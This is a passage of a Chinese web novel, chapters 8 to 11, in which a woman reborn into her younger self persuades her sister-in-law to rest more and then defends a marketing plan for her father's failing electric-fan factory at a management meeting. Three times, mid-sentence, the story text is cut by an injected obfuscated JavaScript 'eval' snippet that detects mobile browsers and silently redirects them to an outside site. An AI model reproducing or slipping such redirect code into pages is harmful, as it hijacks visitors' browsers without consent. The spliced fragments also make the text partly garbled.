她和许兆康是自由恋爱，婆婆嫌她学历低，是个中专生，家庭也普通，不太待见她。 两人结婚后，在家里住了一年多，婆媳矛盾不断。两年前厂里分房子，当时她怀着孕，以他们的工龄只能分一套一室的。 厂里住房紧张，她怕等一辈子也等不到一室换两室。为了孩子，她求公公找关系送礼，最终达成所愿分了一套小两室。为此公公对她很失望，觉得她不够懂事。 关于二嫂和爸妈之间的矛盾，许晚柠一清二楚，所以她没把她爸妈扯进来，“二嫂，我记得阳阳姥姥没工作是吧？” “对，我妈的工作让我嫂子替了，她这几年一直在帮我哥带孩子做饭。” 许二嫂说完，反应过来，“你想让我妈来帮我看孩子？这肯定不成，我哥嫂不会同意的。” 许晚柠提出建议，“白给你带孩子，你哥嫂可能不愿意。如果给钱呢，也不多给，比如我哥工资的一半。” 许兆康一个月基本工资350，加上工龄津贴各种补贴，能到400，拿出一半也就是200，她有些肉疼，也有意动。 许晚柠继续游说，“你哥家孩子不小了吧，我不信你哥嫂看顾不过来，只要你答应给工资，你说他们会不会连夜打包把阳阳姥姥送过来？” “噗！”许二嫂破涕为笑，“你这都在哪学来的新鲜话，还打包送过来，真逗乐。” “逗不逗乐不重要，有用就行。” 她想了想，确实可行，“我妈来了，白天看孩子做饭，晚上让她带着阳阳睡小屋。我半夜不用给阳阳盖被子，应该能睡个好觉了。” 许晚柠一脸无奈，“我的好二嫂，你让阳阳姥姥和阳阳睡主卧，你跟我二哥睡小屋。” 迎着二嫂疑惑的目光，她解释，“若是我哥晚上吵得你睡不着，你可以去主卧睡啊。你别忘了请阳阳姥姥过来，主要是为了照顾你，想让你休息好，其次是孩子。” 这还是她第一次听到有人跟她说，她是主要的，孩子是次要的，而且这个人是她的小姑子。 她眼睛发酸，勉强挤出笑容，“你出的主意不错，不过最近不行，厂里都快发不出工资了，我们养活自己都难，哪请得起我妈啊。” 两人继续往家属院走，许晚柠家离得近，在上楼之前，她轻声说，“二嫂，晚上我哥要是吵得你睡不着觉，你把他打发到小屋去睡，记住，没有什么比你的身体更重要。” 许二嫂心中一暖，“成，今天晚上我就让他去小屋睡。” 望着小姑子上楼的背影，她忽然觉得，不知何时，她竟然比自己丈夫更为可靠。 想到这，她回家的步伐逐渐加快。 她回去就把小屋收拾干净！ 8. 迟来的叛逆期？ 许晚柠回到家，发现赵秋红正坐在沙发上看电视。 客厅的落地扇呼呼地转，赵秋红见她回来，偏头看了她一眼，“天这么热，跑哪去了？” 许晚柠不太习惯母亲聊家常似的跟她说话，边换拖鞋边搪塞，“和朋友去市中心逛了逛，我爸呢？” “你爸被你刘叔叫走，去他家喝酒了。” 说到这，她想起什么，语气带着几分不满，“早上我走的时候是不是嘱咐你吃饭，你怎么没吃？不吃怎么没放冰箱？要不是我中午有事回家一趟，饭闷在锅里，放到晚上一准坏。” 许晚柠这才想起来有这回事，当时她光想着赶紧去见爸爸，哪还顾得上吃，确实是她不对，她态度诚恳，“抱歉，我下次注意。” 赵秋红一噎，总觉得哪里不对，想了半天也没想出来，气得她连电视都看不下去了。 许晚柠回到卧室，躺在床上，累得不想动。她心里有些烦闷，不知道该用什么态度对待赵秋红。 上辈子她跟母亲闹得很僵，只要对方无理取闹或是翻旧账言语攻击她，她可以毫无负担的冷着她，甚至回怼几句。 可问题是，现在她回到二十年前，这时候她妈妈虽然有些唠叨，惹她不高兴了会说她几句，平时母女俩关系挺和睦的。 她该怎么办，烦死了！ 许晚柠纠结来纠结去，不知不觉睡着了，还做了个梦。 梦里，赵秋红板着张脸，“你想离婚，我不同意。” 许晚柠苦苦哀求，“妈，您知道我过的是什么日子吗？我跟我婆婆天天在家吵架，我让贺思成帮我说话，他怂的连个屁都不敢放。” “我要早知道他这么听他妈的话，我死也不嫁给他。还有他妹妹一点也不尊重我这个嫂子。我实在跟他过不下去了，你是我妈，你不应该跟我站在一边吗？我这么痛苦，你看不到吗？” “柠柠，谁家媳妇不是这么熬过来的？当年我怀着你大哥，你奶奶要进城照顾我，我满心欢喜的答应。可她才来了几天，原形毕露，开始磋磨我，我那时候真是度日如年，天天盼着你奶奶回乡下老家去。” “那时候我多难啊，不也过来了，你要实在跟你婆婆、小姑子处不到一块，想办法申请福利房搬出去。” “什么福利房？福利房不早取消了吗？” “反正我不同意你离婚。” 她声嘶力竭，“是我要离婚，为什么要征得你同意？” 许晚柠眼角湿润，猛地睁开眼，屋里有些暗，她有些分不清现实还是梦境。 这时，门外响起敲门声。 “柠柠，吃饭了。” 许晚柠起身，坐在床上发呆，在赵秋红第三次叫她时，她哑着嗓子回了一句，“来了！” 晚上赵秋红做的凉面，新鲜黄瓜切丝，拌上各种调料，最后再加上蒜汁和芝麻酱，味道好极了。 赵秋红见女儿闷头吃面，一句话也不说，心中思忖，难道是刚才进家，她说她几句生气了？ 想到这，她吃饭的动作不禁慢了下来。她还没生气呢，她凭什么生气？再说，她说她几句怎么了？难道她不该说？ 许晚柠吃了一碗面条，很克制地没有盛第二碗，拿着碗筷去厨房洗干净。 赵秋红觉得女儿今天安静得有点异常，难道真生气了？ 这时，许晚柠洗好碗筷，准备回卧室写一份营销计划书，赵秋红突然叫住她。 “柠柠，你这是怎么了？怎么蔫了吧唧的，是不是白天出去逛街累着了？”可别中暑了！ 许晚柠握着门把手，不自觉地用力，“是有点累，没啥事，我先回屋了。” “这孩子。” 赵秋红眼睁睁地看着女儿进了卧室，心中烦闷，昨天柠柠从省城回来还好好的，怎么一宿的功夫，跟换了个人似的，跟她都不亲了。 她终于意识到哪不对了，从早上到现在，女儿一声妈都没叫过，太奇怪了。她猛地站起来，想进去问清楚，她到底怎么了，难道是迟来的叛逆期？ 不行，她不能直接问。 她慢慢坐下来，仔细思忖片刻，女儿从小跟她爸最亲，她直接问，只怕会适得其反。算了，等丈夫回来再说吧。 许晚柠坐在桌前，拿出纸笔，先在纸上打草稿，把想写的计划简单写出来，逐一完善，最后确定没有疏漏，她神色郑重的写下“营销计划书”五个大字，然后开始奋笔疾书。 晚上十点，许晚柠做完最后修改，伸了个懒腰，听到门外响起关门上锁的声音，随即是一阵压低的对话。 许晚柠侧耳倾听，听到爸爸在说话，嘴角不自觉带上笑意。她刚想拿计划书出去让他看看，注意到上面的字迹和勾抹，算了，她还是先誊抄一遍吧。 此时门外，许国盛正在跟妻子说话。 “你们娘俩儿晚上吃的什么？” “柠柠不是嚷嚷着要吃凉面？晚上做的黄瓜丝拌面，你这是喝了多少？” “没多少？你小点声，女儿睡了吧？” “屋里还亮着灯呢，应该还没睡。” 眼看许国盛要往女儿卧室方向去，赵秋红赶紧拉住他，“大晚上你去干什么？有什么事不能明天说？你闻闻一身酒味儿，熏死个人，赶紧洗漱换身衣服，我去给你熬醒酒汤。” 许国盛无奈，只得进了卫生间，简单擦洗，换了背心裤衩，坐在沙发上泡脚。 等许晚柠誊抄好计划书，打开房门，发现父亲靠在沙发上睡着了。 哪怕已经睡着，父亲眉头依旧皱着，带着一抹愁绪，萦绕不散。 算了，明天再找父亲看吧，不急于一时。 许晚柠放好计划书，等客厅彻底安静下来，轻手轻脚地去卫生间洗漱，回屋睡觉。 - 许兆康发现媳妇今天有点奇怪。 一家三口吃过晚饭，许二嫂让他看着孩子，她去收拾小屋。 “怎么突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470274|201440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想起收拾这间屋子了？”许兆康抱着孩子，站在门口。 这间屋子除了媳妇坐月子的时候，丈母娘过来住过几天，后来再没人住过，床上放着不少杂物，到处都是灰尘。 许二嫂干活麻利，杂物规整好，脏床单扔地上等有时间洗，边边角角擦干净，换上新床单。 她看着收拾好的房间，十分满意，“从今天起，你睡这屋。” 许兆康懵了，“哎？不是，我怎么就睡这屋了？我又怎么你了？非要跟我分房睡？” “你那么大声干嘛，小心吓着阳阳。”许二嫂白他一眼，目光温柔的看向儿子。 “阳阳跟妈妈睡还是跟爸爸？” 许沐阳毫不犹豫的说，“跟妈妈。” 许二嫂一脸得意。 许兆康一听，装作很伤心的样子，“那阳阳不要爸爸了吗？” 许沐阳摸摸他的脸，“要爸爸。” 许兆康笑着说，“那你亲亲爸爸。” 许沐阳小脸贴了贴爸爸脸。 许兆康不满足，狠狠亲了儿子两口。许沐阳咯咯笑出了声。 许二嫂忍不住嘴角上扬，收拾完小屋，又去厨房忙活。 许兆康抱着孩子追过来，“你还没说呢，我又哪惹着你了？” 许二嫂懒得理他。 许兆康禁不住抱怨，“你让我看孩子，我看没看？休息的时候，你让我刷碗、扫地、洗衣服，我哪样没干？怎么出去一趟，突然要跟我分房睡。” 你是不是有外心了？最后一句，他没敢说出来，怕挨骂。 许二嫂吭哧吭哧地刷碗，索性坦白直说，“你晚上睡觉打呼噜，我睡不好。自从生了阳阳，不对，我快生阳阳那几个月，晚上起夜上好几次厕所，从那时候起，我没有睡过一个整觉，我太累了。” “除非你能保证晚上不打呼，或者你打呼噜，我踹你两脚你不生气，不然咱们分开睡，对谁都好。” 许兆康心虚，气势减弱，“这打呼噜谁能控制？再说，你晚上还打呼呢。” 许二嫂瞪了他一眼，“我打呼噜影响你休息了吗？可你影响到我了。” 许兆康无法反驳。 她洗好碗，又开始刷锅，“再说你干家务这事，这家不是我一个人的，我每天带阳阳也很辛苦。” “况且，工作日你回到家，我除了让你看会阳阳，没让你动过一根手指头，怎么休息日让你干点活，你还委屈上了？” “许兆康，谈恋爱的时候，甜言蜜语你张口就来，结了婚，你原形毕露了是吧？眼里看不见半点活，啥事都要我来安排你才做，从来没主动干过。”早知道他这德行，当初她嫁头猪都不嫁他。 可惜现在说什么都晚了，孩子都有了，还能咋着，凑合过吧。 晚上，许兆康抱着枕头去小屋睡。他躺在床上，百思不得其解，到底是谁给她出的馊主意？ 别让他知道，否则他一定要她好看！ 9. 我不同意！ 星沉日升，一夜安眠。 许晚柠睁开眼，天色已然大亮。她随手拿起旁边的闹钟一看，都快八点了，惊地瞬间从床上坐起来。 她不是定的七点闹钟吗？怎么睡到这个时候？她睡过头没听见铃响？还是闹钟坏了压根没响？ 来不及纠结，她赶紧下床，打开房门。 赵秋红换好衣服，从卧室出来，看见女儿穿着短袖短裤站在门口，惊讶，“你醒了？我刚想去叫你呢，饭在锅里，别忘了吃，我上班去了啊。” 说完，她想到什么，“你要是不想吃，记得放冰箱，出去买点吃也成。” 许晚柠胡乱点头，忙问，“我爸呢？” 怎么又找她爸？ 赵秋红有些无奈，“你爸七点半就去厂里了，你找他有事？” 啥事不能跟她说？赵秋红心里有点泛酸。 许晚柠不知道该怎么解释，干脆含糊了一句，“也没啥事。” 她刚要关门，赵秋红叫住她，“等等，你昨天上午出去，是不是忘了跟邻居们打招呼？下次再着急，也要记得叫人，不然人家该说你不懂事了，知道不？” 许晚柠昨天心里有事，没太在意有没有碰到熟人，听她这意思，应该是有人跟她打小报告了，“知道了，我下次注意。” 赵秋红又嘱咐了几句，也不敢多说、说重，怕惹正处于‘叛逆期’的女儿不快。 等母亲唠叨完，离开家，许晚柠回屋换衣服，想着今天要办事，她翻出一件白色短袖衬衫，直筒牛仔裤换上，去卫生间洗漱过后，梳了个高马尾。 她看着镜子里的自己，捏捏脸蛋，皮肤还不错，简单抹了点润肤霜，准备换鞋去厂里。 刚要推门离开，她忽然想起什么，来到厨房掀开锅盖，里面有一碗小米粥，还有一个鸡蛋和馒头，她摸了摸还温着。 许晚柠心绪复杂，终究是没能辜负年轻母亲的好意。 馒头吃到一半，她打开冰箱，拿出咸菜瓶。馒头掰开，里面夹上一根腌黄瓜，味道更好。 吃过早饭，许晚柠顺手洗好碗筷，背着斜挎包前往华荣厂。 路上，想起赵秋红的提醒，许晚柠特意放慢脚步，遇到熟人，笑着打招呼。 “王婶吃了吗？” “吃了，柠柠这是去哪儿？” “我去厂里找我爸。” “柠柠长大了，真是越来越漂亮了。” 许晚柠适时露出羞涩笑容，又看见一熟人，扬声道，“周姨，您这是刚买完菜回来？这豆角瞧着可真新鲜，上哪买的？” “就在前边十字路口那，可便宜了，才一毛二。” 周姨跟赵秋红关系不错，拉着许晚柠说了好一会儿话，才问道，“对了，柠柠这是要去哪？” “我去厂里找我爸，您有时间上家里坐坐，我妈在家常念叨您的。” “好好好，改天一定去。” 一路走下来，许晚柠脸都快笑僵了。她轻呼一口气，若非人情世故是必修课，她是一点也不想学啊。 许晚柠在厂门口跟孙叔打完招呼，直奔办公楼。 她来的巧，刚到二楼，便看见许国盛拿着公文包正准备出门，连忙叫住他，“爸，您这是要出去？” 看到女儿，许国盛有些惊讶，“我跟你刘叔出去办点事，你怎么又来了？” 听出爸爸嘴里的嫌弃，许晚柠无语，快步走过去，双手环胸，控诉他，“爸，您是不是忘了昨天答应我，要给我一个机会，还是说，您压根没放在心上？” 许国盛神情有些不自然，他当时确实有些热血上头，鬼使神差的答应了不说，还派人陪她跑了一天。 原以为一天时间，她这三分钟热度过去，也就算了，没想到今天被女儿堵在门口，这叫个什么事啊？ 许国盛无奈，抬手招呼她进办公室，“昨天你不是跟小张出去了，听小张说，你们去供销大厦、百货大楼逛了一圈。” 提起供销大厦，他想到什么，眼底藏着笑意问她，“你昨天跟供销大厦的售货员吵起来了？最后还是经理出面调停的，你胆子怎么这么大？不怕他们合起伙来欺负你？” 许晚柠轻哼，理直气壮地说，“怕什么？周围一群看热闹的人，他们不敢闹大。爸，您别担心，我有分寸。” 也是，听小张说，女儿处理的很好，最后还让经理给他们厂风扇换了最好的位置，既保住了面子又全身而退，他在她这个年纪都做不到这么好。 难道是大学教得好？压下心底怪异，他笑着说，“忙活一天，想到办法没有？” 他抬手看了眼时间，“我还有事，只能给你五分钟。” 许晚柠没急着拿出计划书，而是询问，“您这么着急要去哪？不会是去供销社或是百货大楼找领导要账吧？” 你以为他愿意去坐冷板凳啊？这不是没办法了么。 许国盛轻咳一声，掩去不自然，提醒她，“你还有四分钟。” 许晚柠觉得自己猜对了，慢吞吞地从挎包里拿出自己手写的计划书，递给他，“您自己看吧，您还有三分钟。” 这回旋镖最终还是落自己身上了是吗？ 许国盛眼神无奈，抬手接过女儿递过来的纸张，本来没当回事，可当他看到标题，以及详细的计划，神色瞬间认真起来。 几分钟后，他抬起头，神情严肃，“这真是你写的？” “您不会连自己女儿的字迹都不认识了吧？我的字可是您教的。” 她五岁练字，算上上辈子，练了三十多年，最终练就一手漂亮的行楷，字迹流畅，工整漂亮。 许国盛没太关注字迹，又看了一遍内容，最终叹了口气，“柠柠，你这份营销计划非常超前。不论是你提出的以旧换新活动，还是提议制定更加完善的售后服务，都足以证明你胆大心细，布局周密，可以说产品的各个环节都考虑到了，爸爸能看出你的用心。” 许晚柠挑眉，她太了解自己父亲，一般夸完，后面该泼冷水了。 果不其然，他继续说，“但是你有没有想过，我们是国企单位，更注重求稳，你这样的计划很难实行下去。” “爸爸很想支持你，但是我作为华荣厂的厂长，是不可能同意的。” 许晚柠早知道这份计划书很难执行，但是没想到爸爸都不支持她，她有些失望，但更多的是怒其不争，“爸，抛开这些外因，我这个方案，您觉得成功概率有多少？” 许国盛低头看着这份近乎完美的计划书，实在不能昧着良心说不大，可就算他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470275|201440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同意，其他领导能同意吗？华荣厂又不是他的一言堂，而且他只是代厂长，厂里不服他的人多了去了。 许晚柠观察父亲神色，心里有了底，“爸，既然您犹豫不决，不如开会决定吧，我相信我的计划能带华荣厂走出困境，哪怕只是一小步，最起码能把欠大家的工资发了吧？” “天天跟孙子似的跟在别人屁股后面要账，真的有用？” 真有用就不会一分也要不回来了。 “柠柠，说话要注意分寸！”什么跟孙子似的？哪有这么埋汰自己亲爹的？ 虽然她说的是实话，唉…… 许国盛想起昨天下午收到的消息，思虑良久，终于做了决定。 “那就开会表决。” - 半小时后，会议室。 许国盛刚坐下，有人憋不住了。 销售科长跟椅子上长了刺儿似的，压根坐不住，他满脸焦急地说，“厂长，找我们开会有啥事啊？我一会儿还得出去见客户呢。” 生产科长跟着表态，“现在大家都知道这个月工资暂时不发，人心惶惶，车间得有人盯着。” 工会主席拿起搪瓷缸，慢吞吞的喝了口热水，“今天该轮到厂长跟刘科长出去要账了吧？能要回来吗？” 副厂长打开笔记本，一脸淡定，“行了，先听听厂长怎么说。” 孙科长瞅了这些人一眼，没吭声。 许国盛抬抬眼皮，“都说完了？” 他眼神很冷，有失望也有无奈。 等会议室安静下来，他拿起计划书，推给左手边的副厂长，“你们先看看，挨个看完之后，再表态。” 一共三页纸，五个人轮流看下来，也不过十几分钟。 期间，销售科长想开口说点什么，抬头看到难得冷着一张脸，一言不发的厂长，不知为何有些发怵，话又憋了回去。 等大家看完，计划书重新回到许国盛手边，他屈指敲敲桌子，“说说吧，都什么想法？” 销售科长第一个站出来，“我不同意！这不是瞎胡闹吗？写计划书的人压根不了解市场，还要求经销商进货当天必须结清货款，这条件一出，哪个理你？” 他双手一拍，“这不成笑话了吗？” 副厂长轻咳一声，“李科长说的不无道理，现在市场行情就这样，不光咱们一家，市里多少生产单位，拿不到货款，咱们搞这么一出，成了还好，如果搞砸了，真成全市笑话了。” “还有吗？”许国盛看向生产科长，“梁科长，你什么意见？” 梁科长谁也不想得罪，开始打太极，“厂长，我只管生产，销售这方面我不懂啊。不过，老话说得好，遇事不决，求稳准没错，您说是吧？” 许国盛早有预料，蹙着眉，无奈地叹了口气，“若是求稳有用，我们也不会被经销商掐着脖子，一分货款也要不回来！” “那也比让人等着看笑话强！”李科长梗着脖子说了一句。 听到这，工会主席冷哼一声，“我倒觉得这计划写得不错，想法虽然超前，但可实行性很高，这谁写的？” 厂里居然还有这样的人才？ “我写的。” 早坐在门口待命的许晚柠，拿着纸笔站了起来。 10. 有问题？我来解决！ 许晚柠走到末席，先友好地冲工会主席点点头，随后面向众人，嘴角含笑。 “各位领导好，我是计划的书写者，许晚柠。” 居然是她！ 许晚柠，许国盛的小女儿，省城大学的高材生，大家同住一个家属院，对她并不陌生，只是没想到，这份计划书居然是她写的。 看在许厂长的面子上，在场的大部分领导面露微笑，只有李科长脸色难看。 早在昨天他听说厂长让小张跟着他女儿出去跑了一天，心想，一个还没出校门的大学生，能做成什么事，没想到对方真拿出一份详细的计划书打他脸。 他看向许国盛，“厂长，咱们在开会，您女儿在这，不合规矩吧？” 许国盛瞥他一眼，“是我让她来的，她站在这，不是以我女儿的身份，而是计划的制定者，你们有什么问题，都可以问她。” 李科长见其他人都不说话，本想一走了之，以示不满，可看到对面有人给他使眼色，最终还是忍了下来。 会议室瞬间安静，没人问话，这就尴尬了。 刘科长刚想说点什么帮她解围。 许晚柠唇角一勾，“既然各位领导暂时没有其他意见，我先回答一下刚才李科长的问题。” 李科长满脸疑惑，他什么时候提问题了？ “李科长对活动参与方提出疑虑，认为没有经销商会答应我们的参与条件，当天结清货款。” 许晚柠还未说完，李科长嗤笑一声，“这不明摆的事么？许家丫头大学还没毕业吧，书本上学到的知识，想要运用得当，你还得再历练几年。” 就差指着鼻子骂她纸上谈兵了，许晚柠笑容不达眼底，既然你不客气，那我只好得罪了。 “李科长，既然您觉得没有经销商答应我们的条件参加活动，那么我冒昧请教您一个问题。” 许晚柠不等他拒绝，直接问，“您是销售科科长，负责厂里销售一切事宜，如今大部分经销商只拿货不给钱，是真的给不了吗？” 李科长眼神微眯，“你什么意思？” 许晚柠表情坦率，“意思很简单，像百货大楼、供销社这样拿货量大的经销商，最擅长拖字诀。同为国营单位，一时拿不到货款，我们也没招。” 对方一直跟他们打太极，除非撕破脸，不然哪那么容易拿到货款？ “那县城的小批发商呢？大家别忘了，我们可是国营厂，生产的电风扇不仅质量好，老款折扣也不低。我看过出货单，上个月所有的小批发商加起来，拿货量占比百分之四十二。” “将近一半的拿货量，收到的货款却寥寥无几。我请问，哪怕如今国企式微，也不至于连个体户一半的货款都收不上来吧？” 生产科长和工会主席对视一眼，垂眸不语。 李科长眼皮一跳，“你懂什么！现在行情就这样，小批发商压着货不给钱，我有什么办法？难道不卖给他们？你不卖有的是人卖，如果抱着这种想法，咱们厂趁早关门大吉吧！” 这就急了？ 许晚柠两手一摊，“李科长，您是销售科领导，在这个岗位上兢兢业业干了二十多年，我自是不如您懂。” “我只知道，销售的职责是卖货，可货卖出去了，货款收不回来，谁的责任？” 这是在说他无能？ “你！”李科长气得满脸通红，刚要说什么。 许国盛呵斥一声，“晚柠，怎么跟你李叔叔说话呢？还不赶紧道歉！” 许晚柠连忙鞠躬致歉，“对不起，李叔叔，我一个还没出校门的大学生，第一次跟这么多领导参加会议，有点紧张，一不小心说了实话，您应该不会怪我吧？” 李科长指着许晚柠，气得差点说不出话来，“许厂长，你养的好女儿，很好！” 他站起来，愤而离席。 许国盛气得拍桌子，“李建军，你给我站住，现在是在开会讨论，你说走就走，简直无组织无纪律！作为一名党员，科室领导，你有没有把党规党纪、组织原则放在眼里？” 李科长脚步顿住，双拳紧握。 许国盛声音压低，“工作讨论中，遇到分歧，产生争执，这都是正常的，难道有矛盾，受点委屈，就能不管不顾，一走了之，这是党员该有的担当？” 副厂长适时起身，拉了李科长手臂一把，将他按回座位上，出来打圆场，“好了，老许，他这不是气糊涂了吗？来，会议继续。” 许国盛哼了一声，随后给了女儿一记适可而止的眼神，重新坐下。 许晚柠没有再揪着此事不放，她开始打感情牌，“我从小在华荣厂长大，是各位叔叔看着长大的，我做这个计划也是为了厂子好。若在讨论过程中，有什么得罪之处，还请各位叔叔多体谅。” “我先说说我写这份计划的初衷，昨天上午我爸被一群工人堵门，各位叔叔都听说了吧，不巧，我刚好过来找我爸，目睹了全程。” 说到这，她神情肃然，“我没想到，曾经的行业标杆，承载无数荣光的老厂，如今却连工资都发不出来？” 虽然是事实，但是被这么年轻的晚辈，当着他们的面说出，大家脸上都不好看。 许晚柠可不管伤不伤领导面子，厂子都快倒闭了，面子能值几个钱？ 她继续说，“各位有没有想过，如果再这样下去，我们厂会面临什么样的结局。” 说到这，她顿了顿，有些话不必说出来，大家心里都很清楚，只不过没人捅破那层窗户纸，走一步算一步。 在场的人都不说话，许晚柠沉声说，“我知道我制定的计划书在各位眼中，很难实现，因为没有人这么做过。” “但邓同志曾说过，实践是检验真理的唯一标准。” 她眼睛明亮，语气坚定，“没人做过，不代表不会成功，总要有人站出来，做第一个。” 许国盛轻咳一声，“晚柠说的不错，如今厂子岌岌可危，想要破局，必须当机立断，抓住机会，难道大家还有更好的办法吗？” 见众人互相看看，没人肯出头，他只好另寻突破口，“老郑，你年轻时扎根生产一线，带领团队攻克产能瓶颈，提高生产效率，创下记录，因此被评为市级劳动模范，还没忘吧？” 大家纷纷看向副厂长，郑辉面不改色，脸微微发红，“好端端的提这个干什么？” 许国盛不理他，挨个点名挨个夸，夸完之后，他面露颓然，“咱们老了，思想固化，被囿于这小小的华荣厂二十多年，早没了年轻时的那股冲劲，若是咱们年轻二十岁，看到这份计划书，会是什么想法？” 此言一出，会议室里一片寂静。 刘科长见许国盛给他使眼色，叹了口气，开口道，“晚柠，我有几个问题。你在计划中提到活动预算，包含 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470276|201440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活动奖品、宣传费用以及人工支出等等，总预算设定在10000-15000？这个范围是怎么算的，怎么相差这么多？” “还有，厂里需要投入这么多吗？活动成本会不会太高了？” 这个问题，许晚柠准备过，并不难回答，“厂里需要给参与活动的经销商准备奖品，以及宣传物料等等，还有活动执行期间各个营销点需要指派负责人以及工作人员。” “初步拟定我厂门市部，以及市里其他三个区各找一个活动点。咱们厂经销商覆盖保城市18个县，我只打算跑距离最近的4个强县和7个中县，像偏远地区弱县，消费能力有限，暂不考虑。” “市区四个点，周边县11个点，如果都能跑下来，预算大概在15000左右。活动要求经销商当天结清货款，条件相对严苛，可能有经销商不愿意参加，那么我们会失去一部分市场，不过我给自己定的最低目标是10个点，预算最低10000。” 刘科长沉思片刻，“一个点预算1000，包含奖品、人工、宣传，这个预算合理。” 他刷刷在笔记本上写上几笔，然后抬起头，“我暂时没有其他问题。” 提到人工，工会主席心里一动，“许家丫头，参与活动的工作人员是从厂里挑选吗？他们需要做什么？” 许晚柠点头，“对，大部分都在厂里挑，前期像宣传派发，除了县城往返不便，需要经销商自己找人。市区派发，以及活动期间控场、主持、引导销售等等，都需要人手。” “我相信，论对产品的熟悉以及对厂里的责任感、使命感，没有人能比得上咱们厂的职工。” 那是自然，工会主席满意点头，除了这个，他还有一点比较关心，“参与活动人员，工资怎么算？” 上面写的活动前期宣传到整个活动结束，大概要十几天，工资不好核算吧？ 提到工资，刘科长也看了过来，他是财务科长，只要跟钱相关，他都关心。 许晚柠想了想，“像派发宣传单这类工作暂定10元一天，活动执行期间工作人员会非常忙，暂定15元一天，活动结束三天内，工资进行结算。” 三天内结算？ 工会主席看向刘科长，“老刘，你们科能行吗？”平时报销点费用，跟要他们老命似的，哪次不是拖到下个月？ 刘科长本来有疑虑，这么大的活动要求三天内结算，他们科室才几个人，核销起来太麻烦。 只是，他一听工会主席质疑，当下逆反，“怎么不行？只要活动能办起来，我们科全力配合。” 郑辉听同事一连问了好几个问题，一句都没问到点上，忍不住开口，“活动搞这么大，凑热闹的人肯定不少，怎么维持现场秩序？” “还有抽奖环节，要是有人抽到奖品不满意，质疑咱们作假，故意闹事怎么办？” 这确实是个大问题，如果活动中有人闹事，甚至因为秩序混乱造成踩踏事故等等，他们这些人轻则写检讨，重则降职、甚至撤职处理。 思及此，大家都不吭声了，没人会跟自己的前途过不去。 许国盛暗叹，他早知道会这样，这份计划书好是好，可对于国企来说，步子迈得太大，风险太高，哪怕是在厂子生死存亡之际，大家也不敢赌。 他看向女儿，眼含担忧，像是在说。 如此，你还要坚持吗？ 11. 关关难过，关关过！ 她当然要坚持！ 郑副厂长提到的问题，她已经做好预案。 许晚柠站在那，侃侃而谈，“活动期间，我们可以请电视台记者进行报道。众所周知，电视台公信力高，在老百姓心目中的分量很重，相信在电视台的威慑下没人敢闹事。” “同时，请电视台的人来，可以对咱们厂产品进行宣传，扩大影响力。” “之前咱们厂产品主要在省内销售，从去年开始，销售区域逐渐收缩，目前集中在本市以及周边县市，我们必须利用好这次活动，打一场漂亮的翻身仗。” “通过这次活动，以及电视台造成的影响力，让我们的品牌重新走出去，给经销商建立充足的信心。用实际行动告诉他们，咱们华荣厂的产品质量好，售后服务一流，老百姓信赖，根本不愁卖！” 众人一听，纷纷点头，这办法不错。 许国盛眼中闪过一丝赞许，可很快又面露难色，“电视台的人，我们能请过来吗？你们在台里有认识的人吗？” 在场的领导面面相觑，仔细一扒拉，这个还真没有。 许晚柠见状，主动把活儿揽了过来，“爸，这事儿既然是我提出来的，我来想办法吧。” 许国盛瞪她一眼，她想什么办法？电视台的人是能随便请来的吗？ 许晚柠当没看见，她心中自有章法，在事没成之前，她不喜欢打包票。 梁科长抬眼瞧了瞧，见郑副厂长没话说，清清嗓子问道，“晚柠啊，你写的这个以旧换新活动，具体怎么操作？厂里会不会亏钱？” 这么热的天，他们生产部门吭哧吭哧造新风扇，可不是为了换一堆废品回来的。 许晚柠解释，“普通人家的电风扇坏了，一般会拿到维修点花钱修一修，接着用，实在修不了，比如电机坏了，只能卖废品折现。” “可卖废品顶天了能卖个五六块钱，而我们以旧换新活动可以根据旧风扇实际情况折10-20元，是不是比卖废品划算多了？而且一台旧的收进来，就有一台新的卖出去，这都是销量啊！” 总之，想尽办法卖货！ 梁科长点点头，听起来不错。 一旁的刘科长想起西边小库房那一屋子废弃零件，面露忧愁，“这旧风扇，咱们厂收进来能干嘛？” 不会也卖废品吧？折这么多，再算上运输，真的不会赔钱吗？ 许晚柠在华荣厂长大，基本常识还是知道一些的，“旧风扇的电机比较值钱，可以拆开看还能不能用，另外其他配件能用的接着用，不能用的拆开分类卖掉，比整台卖废品值钱。” 听起来有理有据，刘科长不禁点头，这样看来，实操性很强啊。 工会主席跟厂长要来计划书，看到最后，问了一句，“你这写的售后服务升级，例如每周末厂里派维修员去经销点给大家修电扇，这得算加班费吧？” 许晚柠发现，只要能给工人带来利益的项目，工会主席都特别积极，她眉眼带笑刚想回答。 